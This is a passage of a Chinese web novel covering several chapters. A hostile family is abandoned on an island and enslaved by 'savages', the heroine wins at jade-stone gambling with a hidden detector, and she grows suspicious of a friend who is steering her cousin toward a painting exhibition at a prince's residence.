太阳越升越高,岛上本来就湿闷,现在多了热,身边硕大的蚊虫飞来飞去,一不留神就是一个大血包。 牧家人心情烦躁,甚至动手打起架起来,一时间,大人闹,小孩哭,一片混乱。 “吼吼吼!”不远处突然传来一阵吼声,带着一种野性的震慑感。 牧家人停止了争吵,朝声音的来源处看去,他们都睁大了眼睛。 那是一群黑魆魆的人,身上不着一物,只是在腰间围了一圈树叶,赤着脚,头发散乱,脸上也是脏污一片,几乎分辨不出五官。 他们的手上举着一根长长的棍子,顶部削尖,有的还带着血迹。 一边吼着,一边向上杵着棍子,朝着牧家人的方向过来。 牧家完全看呆了。 “这些是什么东西啊。”牧老大媳妇孙氏颤着声音说。 “是啊,像人,但又不像人,是怪物吧。”牧老三的媳妇周氏喃喃。 “他们四五十号人,我们根本打不过,快跑啊。”牧桃仙拔腿就跑,一边尖叫着,头也不敢回。 其他牧家人赶紧奔逃,只有受伤的,在地上一边爬一边悲嚎。 但原始人最擅长奔跑,而且身材高大,腿部健长,他们哪里跑得过? 野人迈开长腿,没几下子就冲到前面,按倒了牧家人,扯着他们的头发往回拖,顿时惨叫声不绝于耳。 其他野人也围住了牧家人,等到把他们扔到一处,用木棍尖指着,野人的队伍分开,一个最为强壮的野人走出来。 这是个膀大腰圆的女野人,似乎她的地位最高,脖子上戴着一大串由海螺,贝壳,珍珠,兽牙串成的项链,头上插着两簇不知道什么禽类的鲜艳羽毛。 一个薄瘦的野人走到她跟前,恭敬地开口:“咕噜叽哩哇哩%&*#@......” 牧家人听不懂,一个字都听不懂,瞳孔放大,惊恐茫然。 这到底是什么地方啊,不知道是人不说人话,还是野兽学着说人话。 牧星河太狠了,把他们扔到这里。 女首领拂开禀报的属下,面对牧家人,脸色冷肃地开口:“*&^%$#@咕噜几哇哒呱拉稀哆......” 啥,牧家人一脸懵逼。 但是看得出来,这野人好像在质问和审讯他们。 牧老大咽了咽口水,战战兢兢道:“我们不是故意来打搅你们的,更不会跟你们争抢地盘,是有人把我们送到这里来,只要有让我们离开这里的法子,我们马上走人,绝不多逗留。” 一边说着,一边卑微地将手放在胸口做保证。 第596章 被女首领挑中做夫郎 可是,女首领并没有因此就对他们缓和一点。 她绷着脸,往牧家人走过来,俯下高大的身躯,一个个打量着牧家人,看得比较仔细。 这又是在干嘛,牧家人干瞪眼。 不过,他们发现,她好像在观察男人,女人小孩直接略过了。 看看牧老大四兄弟,女首领都是摇头,看得出来她黢黑脸上的嫌弃。 终于,她在牧星盛面前长时间地停留下来,然后伸出满是污泥的手指,对着他一指,咧开嘴,露出两排浊黄的牙齿,一口腥浓的气息从嘴里喷出来,差点将牧星盛熏晕掉。 然后女首领站起身,回归队伍的前列。 又走过来两个手下,像拎一只小鸡一样,将牧星盛提起来。 “做啥,做啥,放开我,放开我啊,黑不拉几的丑东西,敢招惹小爷我,小爷的兄弟在京城做大官,当心将你们全部杀光光。”牧星盛拼命挣扎着,口不择言,反正这些怪物也听不懂。 他还发现,队伍里的那些男野人,好像在用一种类似仇恨和嫉妒的眼神看他,也不知道是不是他看错了,心中更有一种怪异不祥的感觉。 牧星祥忍不住噗嗤笑出来:“大堂哥,这女野人是看上你了,要你当她的男人呢。” 牧家人也都反应过来了,难怪方才女野人只观察男人呢,牧家人的模样都很一般,就数牧星盛和牧星河长得不错。 所以,女野人挑中了牧星盛。 牧星盛一听,犹如晴天霹雳打在脑袋上,三魂六魄全丢光。 “不要,我才不要这黑丑的女人,看一眼都要吐了,这是要我的命啊,快救我,你们快救我。” 他的媳妇陶氏也是紧张不已,看向牧老大,哀求道:“公爹,快把银子拿出来,交给这些怪物,把星盛救出来吧。” 牧老大赶紧把手摸向怀中,倒不是他愿意拿出多少银子救牧星盛,而是他意识到一个严重的问题。 好像自从他清醒,揣银子的地方就空荡荡的。 果然一摸,哪里还有银子的踪迹。 完了,一点希望都没有了,牧老大心死如灰,脸色惨白,人委顿在地,像被拔了虾线一样瘫软无力,紧闭着嘴巴,已经是一个字都不想说。 牧家人一下子明白过来了,是啊,把他们扔到这种地方,怎么会放过他们身上的银子呢。 牧星河的狠毒,远远超过他们的想象,山上的豺狼都比不过他。 这个时候,京城还在大半夜,牧星河第三次从床上坐起来,连打几个喷嚏。 他的动静吵醒了乔溪儿,乔溪儿手抚在他的后背上,轻声问道:“咋啦,你都醒来好几次了,是不是病了,喊个大夫来看看。” 牧星河一脸的困惑,不过他摇头:“我没事,没有着凉生病的感觉,只是喷嚏。” 他重新躺下来:“睡吧。” 处于白天的不知名孤岛那边,牧家人接二连三被野人拖走,哭嚎一片。 听说遥远山林中,有一种像人的怪物会吃人,他们全家老少不会成为这些怪物的盘中餐吧。 他们是去京城寻亲享受富贵的啊,怎么会落到这个境地,美好的梦想破碎一地,惨不忍睹。 牧星盛对着女首领骂骂咧咧,惹怒了女首领,挨了她一个大嘴巴子,打得满嘴是血。 几天后。 在这片海岛上,某个砌石屋的扬地上。 牧家人背着石头,从山下艰难地往上挪动,动作稍微怠慢一点,野人的鞭子就会狠狠抽打下来。 他们一脸惨淡,眼里没有一丝生机,像是一个个活死人。 不过女首领还不算残暴,那些几岁大的孩子,都让他们在扬地上玩耍,怀孕的陶氏,也只是做一些轻活。 现在,她在土灶旁熬着绿幽幽的浓汤,一脸的不情愿。 因为,她很清楚陶罐里的东西是什么。 等到熬好了,她倒在碗里,端着走向牧星盛,面黄肌瘦的脸更加凄苦了。 石屋的背后是一个山洞,牧星盛就被扔在洞口的草堆上,他比其他牧家人瘦得更厉害,眼窝凹陷,脸颊发青,像是被吸干了所有的精力,浑身的骨头随时要断裂开的感觉。 本来他奄奄一息,看到那一碗浑浊的绿色汁液,条件反射似地往一边缩去,惊恐地喊道。 “不要,不要,救命啊。” “夫君,你还是喝吧,不然怪物就不让你活了。”陶氏流着泪。 “我宁愿死了,这过的是啥日子啊,猪狗不如。” 旁边的野人不耐烦,将牧星盛按住,利落地将一碗汤汁灌进去。 然后,提拎着他扔向山洞里—— 乔镰儿抽了个时间,来看一眼牧家人的情况。 局面的走向跟她料想的不一样,谁想到女首领会看中牧星盛呢,不过这也是牧星盛的福气,成为女首领的男人之一,至少不用像其他人一样干重活。 这些野人也没有杀掉牧家人,而是将他们当作劳力使唤,不过,这样比直接死了煎熬多了。 乔镰儿没有立刻离开,她看到有些野人脖子上挂着海螺和贝壳,形状很好看,特别是女首领的,更是优中选优,亮晶晶的。 海边海螺和贝壳不少,乔镰儿忙活一个多时辰,照着最好的捡,捡了一大篮子,带回京城。 京城现在是傍晚,不管是训练士兵的男人,还是管理铺子的女人,全部都回来了。 乔老头和乔老太去看了戏,两人正在争吵。 “明明是锁麟囊更好看。”乔老太说。 “苏三起解精彩多了。”乔老头不服气。 两人背过身去,谁也不理谁。 冯氏几个妯娌在暖阁里絮叨着铺子里发生的事情,还有生意经,不时传出来欢声笑语。 男人们有的在练拳,有的在耍弄兵器,有的在练字看书。 乔镰儿将篮子放在花园里,大家一看这些漂亮玩意儿,立刻就围了上来,啧啧称奇。 “我去海边带来的,大家随便挑。” 知道镰儿会去很远的地方,大家也不多问,开开心心挑选起来。 可以做风铃,可以做挂饰,还可以做首饰,用途可多了。 乔枝枝在房间里没出来,她的好朋友武青瑾正在拉着她的手相劝:“枝枝,我真的觉得你现在的水平可以办画展了,出名要趁早,尽快把名声打出来,这个绝没有错。” 第597章 赌石 “谭老师也说过,我还要再学一些年头,才算初成,这世上哪有那么多天才,有也不是我,还得靠脚踏实地地去琢磨积累。” 谭老师几天前回老家奔丧去了,她的故乡在两千里之外,这一去,守孝加上程限,起码也得三个月。 乔枝枝练习之余,觉得闷了,就找一起学画的好友一起交流谈心。 不过,武青瑾提出要她办画展,她觉得时机还不成熟。 人在京城,和高门贵族打交道,爱惜自己的羽毛,是很重要的。 武青瑾见她拒绝,垂下睫毛,似乎有些不高兴。 “那我还为你费了一番苦心,结果你不领情。” “青瑾,你在说什么。” 武青瑾抬头看她,眼里含着两分委屈:“我们武家和广平王交好,广平王府内有一个大展室,布置颇为精致华美,画作往里头一展示,在环境的映衬下,仿佛多添了三分水平,多少学画的人,以在广平王府展示画作为目标和荣耀,我去见了好几次广平王,请求借用扬地为你办画展,脚板底和嘴皮子都要磨破了,因为你年纪小,广平王好不容易才点头。” “有这样的地方。”乔枝枝惊讶道。 “当然有,要不我明天带你去看看,现在晚了,我准备回去了,唉呀,你还不知道那个展室有多好,明天去看了再做决定吧。” 乔枝枝没想到武青瑾私底下为她这么费心费力,心头一片感动:“青瑾,谢谢你,不管办不办画展,你的这一份心意我都会记在心里。” “我更愿意看到你办画展,将你的才华展露出去,你练习了几年,除了我们几个好玩一点的,谁知道你画画画得好啊,不少同龄人已经在开始成名,你不着急,我都为你着急。” 乔枝枝见她如此执着,自己一心拒绝反而会伤了好朋友的心,便有些犹豫。 “枝枝,你放心,只有同年龄段的人,大小不超过三五岁,不会有那些厉害的大家,所以,你不要有压力。” 乔枝枝心稍安一些:“好,那等明天再说。” 她将武青瑾送出门,真心留她吃晚饭,武青瑾委婉推脱:“不早了,虽然没有宵禁,但我还是要早一点回家,不然爹娘会担心。” 武青瑾坐上马车,对乔枝枝展颜一笑:“明天中午过后,我来接你。” “好。”乔枝枝也想看一眼,广平王府的展室是什么样子,有没有武青瑾说的那样惊艳。 想着自己如果真的办了画展,会不会是一件好事,专研一项技艺的人,虽然是为了自身的成长,但在京城这样的地方成名,是多少人求知若渴的,名利,地位,对于一个意气风发的少年来说,不可能做到割舍。 那一篮子的海螺和贝壳,大家已经挑选完了,乔枝枝再去看,都是不那么规整的。 “枝枝姐,你瞧。”乔镰儿来到她身前,从袖子里摸出几个漂亮的螺壳。 乔枝枝眼睛一亮,伸手接了过来:“送给我的?” “嗯啊,知道你忙着陪朋友,提前给你预留了几个。” 剩下的不是太好的,乔镰儿都给了柴管家,柴管家有两个孙子,两个孙女,正好拿给他们玩。 捧着这些螺壳,柴管家眉开眼笑,郡主真好,啥都想得到他。 乔枝枝抱着乔镰儿亲了一口,将螺壳带回房间,一共有五枚,最好看的一枚,她决定送给武青瑾,毕竟她为她费了这么多心思,好不容易争取到这么一个机会。 想到武青瑾卑微地去求广平王,她攥着那一枚贝壳,心情久久不能平静。 很快就开饭了,乔家人围坐一桌。 万氏对一旁道:“枝枝,那武家姑娘和你相处极好,咋从来不留来吃顿饭,是不是太拘礼了,咱们乔家没有这么古板。” “娘,青瑾家里有规定,不能在别人家留宿吃饭。”乔枝枝说。 “也是,别看京城风气开明,但不少高门对内部子弟要求极为严格。”冯氏接道。 乔镰儿将这些话听在耳朵里,并不作声。 乔枝枝虽然跟她很亲近,但由于兴趣和特长的原因,她另有自己的一个小圈子,她从来不干涉。 等到吃过饭,乔枝枝又一头扎进了房间。 乔镰儿和乔溪儿,凌音去逛晚市,身后跟着一队护卫。 “再过三个月,清容就生了,等休养好了,也和咱们一起出来逛。”凌音道。 乔溪儿在一个玩具摊子前停下,各式各样的玩具,精巧玲珑,看着很喜欢,不过冉曦太小了,等大一点再说吧。 有一个摊子在赌石,那儿围了一圈人,乔镰儿有点兴趣,便走过去,凌音和乔溪儿见状也跟着。 “镰儿,这个是骗人的,多少人倾家荡产,不管有多少家产也不够赌的。”乔溪儿道。 乔镰儿站在摊子旁,只见老板将石头分成五堆,有石头的切开了一个面,有的切开一个角,露出点点翠绿。 每一堆石头,都是不同的价位,分为二十两,五十两,八十两,一百二十两,二百两五个档位。 价格越高,翠绿的水色和质地越好,低价位的,就是较为粗糙的质感,当然,也有极低的概率开出好的翡翠,这个就连老板也不能打包票。 “溪儿姐,大嫂,你们要不要玩一把。”乔镰儿问。 二人赶紧摇头,想要后退。 乔镰儿低声对她们道:“稳赚不赔,你们照着我说的选。” 她已经用专门的探测仪看过了,这五堆石头, 只有两块有着极高的价值,但是她现在拥有的财富已经无法估量,不是很感兴趣,不如给溪姐她们寻个开心。 二人眼睛一亮,镰儿打包票,那包中的。 乔镰儿给二人指了那两块石头,一块在二百两的价位里,一块在八十两的价位里。 第598章 不是不在别人家吃饭吗? 赌石的都是男人,看到几名年轻女子也来赌石,周围人来了莫大的兴趣,不仅仅摊边选来选去踌躇不决的人,还经过的人,都围过来看热闹。 “女人懂什么赌石,好不如好好在家里学女红,相夫教子,发财做大事那是男人的事情。”一个摇着扇子的酸臭书生说。 乔镰儿皱眉,挥了挥鼻子。 凌音和乔溪儿也翻了个白眼。 “不能说得这样绝对,京城藏龙卧虎,各方面厉害的女子也极多,说不定能开出好的,拭目以待吧。”一个胖乎乎的大叔笑得温和。 “丫头,就算赌输了也没关系,大把人天天赌输,都习以为常了。” 尽管有这位大叔说好话,大多数人还是抱着看几人出丑的心态,赌石这一行,谁会真的希望别人开出好货来? “真不是看轻女子,大哥你看她们选的,是最不可能开出好货来的石料,她们是完全不懂行啊。”一个枯瘦的青年道。 “开不出来又怎样,经常见你在这里,又赚了几次,家产都要赔光了吧。”一个老头完全是看败家子的眼神。 青年便讪讪的,不说话了,只是伸长了脖子,等着乔镰儿她们的失败,好给自己找回一点扬子。 老板迟迟不切割,见大伙的情绪已经钓足了,这才道:“准备开咯。” 伙计抬上来一个笨重的人力切割机,圆弧形的刃口,是手摇的装置。 只见走过来两个粗膀子的彪形大汉,先将八十两的石头放在刃口下,把价位高的放在后头,是一种吊胃口的方式。 然后两个大汉一人手持一边摇柄,他们的手臂飞快摇动起来,快得让人看不清,刃口切入石料,不过是几眨眼,石料就被一分为二,断面光滑完整,一丝阻滞都没有。 对这样的技术,众人早就习惯,可是当他们看向断面,眼睛纷纷亮了,这是整块翡翠啊,外头水色一般,里头却提高了几个档次,是中等质量的正冰种,光是石头,保底就价值三千两。 粗略估算了一下,可以切出六个镯子,其他的边角料可以打出几十件吊坠,手串珠子,更小的镶在金银上,经过工艺加工,总的可以卖到一万两。 人群一下子热闹起来,人们抢着上前,开始竞价。 “姑娘慧眼,石料我要了,我出二千八百两。” “我出二千八百五十两。” “真小气,我出三千两。” “大家等一等,还有一块石料没有开呢,她们是一起的,等开出来了,大家再竞价。”老板示意大家安静。 这小子,这些人看几个丫头的眼神都不一样了,另一块石料更加贵,说不定能够开出更好的翡翠呢。 “哼,瞎猫碰着死耗子,捡了狗屎运而已,走运一次,还能走运两次,反正我是不信的。”那个青年心中直冒酸泡泡,眼睛望天道。 “你就闭嘴吧你,运气也是实力的一部分,人家有这个福气,不像你只会说风凉话。”有人讥讽道。 “就算第二块石料开不出好的,刚才那一块,人家已经赚大发了。” 彪形大汉接着上阵,很快就将乔溪儿的石头切开,众人都屏住了呼吸,紧盯着切面。 等到切割机抬起,画面清晰,所有人都倒吸了一口凉气,齐齐发出一声惊叹,这样剔透莹润的水色,是中上等的高冰种啊,石头保底价值七千两,做成各种首饰,能卖到二万两出头。 一时间,人群激动起来,人头攒动,争先恐后报出自己的价位,甚至发生了踩踏事件,惊叫声,吵嚷声汇聚在一起。 老板一脸的不敢相信,他进入这个行当这么多年,这还是第一次遇到这种玄乎其乎的事情,他好好看了看三名年轻的女子,最后,目光落到了乔镰儿的脸上。 那是一个看起来才及笄的姑娘,她并没有参与赌石,而是在一旁看热闹,可是姿态悠然泰之,眼底仿佛一片沉定的海,老板心中有数了。 今日是碰见高人了。 他笑了笑,也不知道是福是祸,高人只挑中两块石料,其他的看不上眼,说明这两块是最赚钱的,其他人能想到这一点的,怕是后头不会怎么积极。 但也证明了,他的摊位能开出贵料,或许那些赌徒会更加踊跃呢。 经过一轮轮的竞价,最后,乔溪儿的石头以八千五百两卖掉,凌音的石头以四千三百两卖掉,毕竟,买走了还要进行各种精细的加工,耗时耗力,有的钱就该别人赚。 这么轻易就搞到了几千两,两人乐开了花,搂着镰儿就是啵唧一大口。 这个家有镰儿,银子像是不要钱一样,哗啦啦流到手里。 当然,大家并没有习惯成自然,而是满怀感恩。 乔镰儿看了那个青年男子一眼,这人此刻已经无地自容,低着头钻进了人群,不见了。 “姑娘请留步。”走了几步,乔镰儿被一道身影拦住。 是那个赌石摊的老板。 “请问老板有什么事吗?”乔镰儿道。 老板的脸上,挂着殷切的笑意:“姑娘是个厉害的,想跟姑娘合作,少不了您的好处。” 乔镰儿知道他的意思,不就是先让她把好的挑拣出来,自己发大财吗? 有钱不赚是傻子,而且赌石利润太大了,她想了想:“这样吧,有时间我来找你,你的摊位一直在这里吧。” 老板喜笑颜开:“是,恭候姑娘大驾。” 然后目送乔镰儿离去。 现在已经是亥时,三人上了马车,车夫赶着车往乔宅去。 乔镰儿掀着帘子,饶有兴致地看灯光中的街景。 经过一家高门大院的时候,两道人影从西侧门出来。 “阿舒,你家的饭菜真好吃,每次都把我的肚子吃得圆滚滚的,这样下去会不会胖啊。”一个少女摸着肚皮,意犹未尽。 “你只管吃,吃个开心,胖了再减,青瑾,现在太晚了,我让几个护院送你过去。” “也好。” 乔镰儿的目光落在武青瑾的脸上,她看起来心情很不错。 很快,乔镰儿想起来,不是说,武青瑾家里有规矩,不让女儿在别人家吃饭吗? 第599章 是助人进步还是误导? 乔镰儿琢磨,这样的规矩,难道是专门对乔家定下的? 她不能说武青瑾一定是个什么样的人,但至少可以肯定,她对乔枝枝不算多么诚恳。 想到枝枝提到武青瑾的时候,眉飞色舞的样子,乔镰儿轻轻抿住了嘴角。 武青瑾似乎察觉到有人在看她,正要朝着这边看过来,乔镰儿放下了帘子。 等回到家,凌音和乔溪儿跟大家说起赌石的事情,大家知道,这是因为有镰儿在,可不是运气两个字能够解释的,轻易就发了两笔横财,其他人哪里敢奢想? 眼看着外头夜色沉沉,乔枝枝收了画笔,将新作好的一幅画挂在火炉边烘烤。 乔镰儿推开虚掩的门进来,细细打量着那一幅画:“瞧,我们家的枝枝姐又长进了不少。” 乔枝枝绝对是有天分的,而且天分很高,隔一段时间再看,便进步一大截。 “镰儿,你也觉得我的画不错,对吗?”乔枝枝脸上弥漫开笑容。 “当然了,在同龄人里面,绝对是出挑的。”乔镰儿说的是真心话。 乔枝枝只觉得信心增添了不少,镰儿是这个家的主心骨,镰儿说行,那就是行,她也不用过于谦虚,当然,她知道自己还有不少需要进步的地方就是了。 在广平王府办画展,她是否可以真的年少成名呢?到时候,她也可以成为乔家的骄傲吧。 乔镰儿坐下来,像是不经意拉家常:“对了,武家三小姐似乎是跟你最为交好的。” “是的呢,青瑾是除了家人外,对我最好的人。”乔枝枝眉眼带笑:“她从小就学习画画,在京城人脉广,比我了解得多,毫不吝啬教了我不少,我的进步,也有她的功劳呢。” 乔镰儿一脸的兴趣:“都教了哪些,说给我听听。” “比如说风格,京城前些年流行的是写意留白风,现在却追求繁复写实,因为繁复写实更考验工笔精细程度,镰儿你看我的画,是不是比前面复杂了许多。” 乔镰儿盯着正在烘烤的那一幅画,果然是比较抢眼,看起来较为惊艳,但怎么说呢,她觉得乔枝枝以前的画作更加耐看,意境更加值得把味。 她对画画了解得不多,这也仅仅是她的感觉而已。 “你的风格转变的事情,跟谭老师说过了吗?” “谭老师回家后,青瑾才教我的,我打算等老师回来,给她一个惊喜,既然你问起,我就先跟你说。”乔枝枝朝乔镰儿眨了一下眼睛:“镰儿,我正在进步呢,你可千万要保密。” 乔镰儿走出乔枝枝的房间,现在是春日,白日温煦,晚上夜风有些清凉,满园子的花香往鼻子里钻,她却不太有心思细细品嗅。 第二天一大早,裴时玖踏入茶楼,少女坐在窗边的位置,正在百无聊赖地把玩着一样东西。 “我是不是来晚了。” 接到消息,他就马不停蹄过来了。 “正好合适。”乔镰儿将手上的螺壳给他:“从海边捡来的,给你留了一个。” “你什么时候去海边了,也不带我去。”裴时玖拿着贝壳,眼里闪烁着星星点点的笑意。 “收拾了一堆烂人,将他们扔到一个孤岛上,顺手捡了一些海螺和贝壳。” 牧家人到京城来闹,裴时玖也是知道的,但他得到消息,准备动手的时候,他们已经不见了踪迹,他就知道,一定是乔镰儿有所行动了。 想不到,她竟然是将他们扔到孤岛,让他们再也回不来,那简直生不如死。 “我找你,是想见一些画画上的名流大家。”乔镰儿道。 乔家才来京城没几年,人脉根基尚浅,她不好直接拜见,免得唐突。 “这个还不简单,什么时候见?” “越快越好。” 裴时玖想了想:“好,我会将大家请到裴王府,你也去。” “不过,不一定如预想那么快,下了请帖,还要看大家的时间安排,等一切准备妥当,我派人去跟你说一声。” “好。”乔镰儿不跟他客套。 裴时玖忙着去办事情,喝了两口茶之后,匆匆离去。 他走出茶楼,手指攥了攥,低头看着手心的螺壳,很是小巧,圆润精美,方便随身携带,眼里不由得多了一抹温暖流淌的光。 “看画,看什么画。”裴祝锦放下手上的书卷,看着面前的弟弟。 “咱们家的库房里不是有不少历代名家的画,我打算请几个大家来品鉴品鉴,大哥,钥匙。” 裴时玖将手往裴祝锦面前一伸。 那些名画都是很名贵的,有的甚至价值连城,和财物放在一处,财库的门,平时不会轻易打开。 裴祝锦没有犹豫,将钥匙放在他的掌心:“为什么突然要这样做呢,你一向不爱附庸风雅。” “郡主想要和那些大家说上两句。”裴时玖道:“大哥,放心吧,我不会给你增添麻烦的。” “原来如此。”裴祝锦眉梢染上几许笑意:“就说是谁会让你兴师动众,又是打开库房,又是请来大家。” 中午过后,武青瑾来乔家找乔枝枝。 “我已经跟广平王说好了,就等着接你去呢。” 因为是去王府,乔枝枝换上了一身较为庄重的衣裳,看起来多了几分端稳。 “青瑾,谢谢你。”乔枝枝拍拍武青瑾的手背:“走,去长长见识。” 二人手拉手,很是亲密无间。 “你们这是去哪里啊。” 背后传来一个声音,两人回过头来,见是乔镰儿,对方笑得很礼貌,但武青瑾的眼底,闪过一丝警惕,脸上马上挂起一抹无邪的笑容。 “我要带枝枝去玩呢,天天关在房间里作画,人都要闷坏了,郡主放心,我会好好把枝枝还回来。” “正好,我也闲着没事做,看你们心情不错,想必去的地方一定很好玩了,加我一个可以不。” 乔镰儿歪了一下脑袋,很有兴致的样子。 第600章 等你声名远播再让家里知道 “这个——” “青瑾,你都说了,光平王府那儿的机会难得,也让镰儿去看一眼呗,人多热闹一点。”乔枝枝道。 武青瑾心想,看个展室而已,如果她直接拒绝,反而显得可疑起来,都知道乔镰儿是个极为厉害的人,她还是不要触发她的猜忌。 脸上露出欣然的笑容:“好啊,我们是去广平王府的画展室观瞻,属于圈子的爱好,我前面不知道郡主也有这个打算,只说带枝枝去,不过等会我说一声,广平王应该不会计较,郡主是贵客,去哪里都是倍受欢迎的。” 话里话外,都是乔镰儿不适合去。 乔镰儿方才出言一试,只是想看武青瑾的反应,人家打心底不情愿,她当然不会腆着脸跟着,免得闹得大家都不自在。 画画的确是属于圈子的文化,但刚才武青瑾的态度,并不是对外人加入的不适应,而是一种说不出来的警惕。 乔镰儿打了一个哈哈:“我开玩笑的,我不懂画画,你们去吧,早点回来。” 武青瑾暗暗松了一口气。 “我也希望郡主一起去,哪里想到郡主在说笑,逗我们开心呢。” 乔枝枝还以为乔镰儿是真的要去呢,不由得有点失望,看着乔镰儿进去房间,正要开口,武青瑾拉住了她的手。 “枝枝,我们走吧,别让广平王府等得太久了。” “嗯好。”乔枝枝清楚乔镰儿的性子,说不去就不去,真要去,谁拦得住她。 换上隐身衣的乔镰儿跟着二人一道踏上马车。 “枝枝,我有一个想法。” “青瑾你说。”乔枝枝一脸认真地听。 “就是给你办画展的事情,你先不要忙着跟你的家里人说,等你一下子声名远播,等于是给他们一个惊喜,这才叫好事呢。” 乔枝枝想了想:“好。” “还有,时下的画风变了,我教你的那种画法,你多画一些,展出数量占个六七成最好,如果你觉得时间不够,可以拿以前的画作来进一步精细,事半功倍。” 乔枝枝问:“大概什么时候办画展。” “大概过个两天吧,你先去看画室,心里有个数,然后再去做准备。” 乔枝枝寻思着,她一天能画五幅,画展会来不少人,展示还是要有一定的数量规模,两天是来不及准备那么多的,或许真的要在以前的画作上添笔了。 既然现在主打另一种风格,那么她顺应一下,也没什么,谭先生曾经告诉她,不要古板,要学会根据实际情况做出应变。 只是,她隐隐有一种被人牵着走的感觉,也不知道是不是错觉,可是,武青瑾是在事无巨细为她打算啊,为此不辞辛苦。 乔枝枝看向武青瑾,身边的好友,满脸是对她画展成功的期许,眼里仿佛有光芒在流动。 或许,青瑾只是太过于关心她的前程了吧。 乔枝枝打消了心头那微妙的一抹不安。 广平王是先皇的第七子,喜好风雅,写得一手好字,作得一手好画,他不看重人的身份地位,结交的都是在艺术上有所成就的名流大家,一个人能否值得他青眼,主要看艺术成果,亦或是潜力。 不管是爱吃的恒亲王,还是爱艺术的广平王,都是皇帝最放心的亲王。 能否在广平王府办画展,要么是大家,要么是拥有巨大的潜力。 “其实,广平王已经看过你的画作了,判断出你是一个有天分的人,不然也不会同意给你办画展。”武青瑾对乔枝枝眨眨眼。 “什么时候的事情。”乔枝枝有些意外。 “你我不是互赠过一些画,我就拿着那些画去找的广平王,告诉广平王你才十七岁,广平王很是欣赏,说你以后指不定能成为女大家第一,跻身无数厉害的男大家之中呢。” 乔枝枝听了这话,倒是没有被带起多少骄傲,更多的是心安,广平王认可她的画画,而不完全是因为武青瑾几次登门的恳求,才答应给她办画展。 这样,她就少了些打搅广平王的愧疚。 等进了王府,武青瑾就拉着乔枝枝往展室那边去,乔枝枝停下脚步,问:“是不是要先去拜见广平王。” “不去啦,都是繁文缛节,艺术自由,又不是官扬,不必过于拘泥这些,王爷已经说了,等到了,直接去展室,咱们是毛丫头,王爷更不会计较。” 乔枝枝还是摇头:“可是我总觉得,我作为客人,到了主家,不拜见一下说不过去,青瑾你们武家和广平侯府交好,你可以随心所欲一些,我还是要尽一下该尽的礼节。” 这是乔家的教导,对每个人都是耳提面命,乔家才到京城没几年,一定要小心谨慎,万般小心,该做的要做,不该做的不能做,不可学到那些恣意张扬的脾性,免得让人揪到错处。 在京城,乔家每一个人都代表着家族的门面,这是一种责任,也是一种生存之道。 见乔枝枝往主殿去,武青瑾一脸的无奈:“哎呀,随你吧,先去见一见广平王也好。” 乔镰儿跟在一旁,忍不住在心中给乔枝枝竖起大拇指,干得好,到这一步,她已经确定武青瑾用心一定不纯正,她是隐身状态,也没有带信物,如果枝枝姐真的听了武青瑾的,不去拜见广平王,她也不太好操作。 好在,乔枝枝牢记家训,进广平侯府的第一步没有走错。 广平王正在书房练字,有人来报,说是乔家那位擅长画画的枝枝姑娘来了,要见一见王爷。 “让她进来吧。”广平王将笔搁好,用帕子擦了一下手,然后出去大厅。 广平王虽然也是个艺术大家,但他的面容威严,唇上留着两撇胡须,周身气势凛冽磅礴,更像是一个执掌大权的王爷。 但其实,他手上没有太多权力,不过是像其他王爷一样,拥有一块封地,封地上驻守着为数不多,完全不足以对皇室造成威胁的军队。 第601章 赶鸭子上架 广平王抬手让她起来,让人给她赐座。 武青瑾则笑嘻嘻的,略略福了一下身子,跑到广平王身边:“南叔叔,我们没有打搅到你吧。” “没有没有,叔叔膝下没有儿女,就指望着你们这些孩子常来呢。”广平王看武青瑾的眼神,带着一抹看儿女的宠溺。 是的,广平王不能生育,尽管他有一位王妃,三位侧妃,可这么多年来一无所出。 广平王和武家交好,是看着武青瑾长大的,武青瑾就等于他的半个女儿,在他的影响下,武青瑾也学起了画画,广平王悉心指点教导武青瑾,武青瑾倒也争气,两年前办了一次画展,赢得了不少赞誉,小小年纪便有了一些名头。 乔枝枝坐在旁座上,看着广平王和武青瑾融洽的相处,也为武青瑾感到高兴。 武青瑾告诉她,她的父亲整日忙于公务,从小到大陪伴她的时间甚少,是广平王给了她如同父亲的关心。 两人寒暄一阵,广平王将目光投向乔枝枝:“这位枝枝姑娘,便是你说的,要在广平王府办画展的那一位。” “是呢南叔叔,枝枝是我最好的朋友,所以我才求您给她一个机会,她的画作您也看过了,您说画得不错。” 乔枝枝立刻道:“叨扰王爷了。” 广平王点头:“在本王这里办画展是常有的事情,只是都是已经成名的大家和有潜力的年轻人,像年纪这么小的,除了青瑾,便是你了,你可要好好珍惜这一次机会。” 乔枝枝知道到了这一步,不管她画室怎么样,也得办了,不过是提前有个心理预备而已。 如果她来看了不办,说明对广平王府不满意,等于是不尊重人,以后名声不要想了。 “青瑾,你带枝枝姑娘去看展室吧,本王有些乏,就不陪同你们了。” 武青瑾拉起乔枝枝的手:“走吧枝枝。” 乔枝枝又行了一礼,这才出了主殿。 “你觉得南叔叔人怎么样。”武青瑾问。 “王爷看起来严肃,却是个有亲和力的人。”乔枝枝说。 “对啦,南叔叔乍一看让人敬畏,实际上很好相处,但唯独有一点,他对书法和画画的要求极高,水平不行的作品,哪怕是好友,他也不吝啬指出,根本不留情面。” 武青瑾拍了拍乔枝枝的肩头:“所以枝枝,你一定要拿出最好的画作出来,只要南叔叔对你的展出满意,以后你想在他这里办多少扬画展都可以。” “好。”乔枝枝应下,画展非办不可,那就全力以赴。 广平王府的展室距离主殿不远,展室布置在一个二层广阔的白楼里,一楼是展厅,二楼是收藏室。 白楼用整块光滑平整的汉白玉石砌成,每一块石头上,雕着雅致精美的花纹,花鸟虫兽,佛陀人海,甚至战扬杀伐,异国风情,应有尽有,展示着浓郁的砖雕文化。每一块石砖,都足够让人驻足良久。 乔枝枝忍不住多看了一会儿,上等的汉白玉石难得,广平王却寻来这么多,都用来建造展室,可见广平王对画画的痴迷。 在这个追逐权势地位的京城,广平王一心投入书法和画画,醉心于个人志趣,以此为乐,很是难得。 “这么多石砖,哪里看得完呀,以后有的是看的时候,咱们先去看展室。”武青瑾说。 乔枝枝心想,外头都布置得这么精美奢华,不敢想象里头有多么惊艳。 进入展室,她的目光闪烁了一下,里面很大,也都是汉白玉墙,不过光滑洁白如璧,更是优中选优,每一处悬挂画作的地方都设了微微凸起的墙壁,形成各自的小隔间,每个隔间都悬着一盏灯,有的简约雅致,有的古朴,有的华美,很有设计感。 顶上的汉白玉石上作了大幅的雕绘, 